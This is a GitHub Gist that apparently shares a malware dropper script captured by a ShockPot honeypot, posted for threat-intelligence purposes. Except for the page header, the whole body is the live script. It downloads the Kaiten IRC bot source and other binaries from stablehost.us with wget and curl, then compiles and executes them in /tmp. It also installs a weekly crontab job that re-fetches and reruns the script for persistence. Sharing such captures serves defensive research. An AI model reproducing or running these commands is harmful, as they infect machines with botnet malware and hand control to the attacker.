Created
September 28, 2014 19:38
-
-
Save jatrost/d2812fd8425390f4614e to your computer and use it in GitHub Desktop.
regular.bot download from ShockPot honeypot downloaded from hxxp://stablehost[.]us/bots/regular.bot
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| killall perl | |
| wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c; | |
| curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c; | |
| gcc -o /tmp/a /tmp/a.c; | |
| /tmp/a; | |
| rm -rf /tmp/a.c; | |
| wget http://stablehost.us/bots/a -O /tmp/a; | |
| curl -o /tmp/a http://stablehost.us/bots/a; | |
| chmod +x /tmp/a; | |
| /tmp/a; | |
| wget http://stablehost.us/bots/darwin -O /tmp/d; | |
| curl -o /tmp/d http://stablehost.us/bots/darwin; | |
| chmod +x /tmp/d; | |
| /tmp/d; | |
| wget http://stablehost.us/bots/pl -O /tmp/pl; | |
| curl -o /tmp/pl http://stablehost.us/bots/pl; | |
| perl /tmp/pl; | |
| rm /tmp/pl; | |
| echo "@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c; | |
| crontab /tmp/c; | |
| rm /tmp/c; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment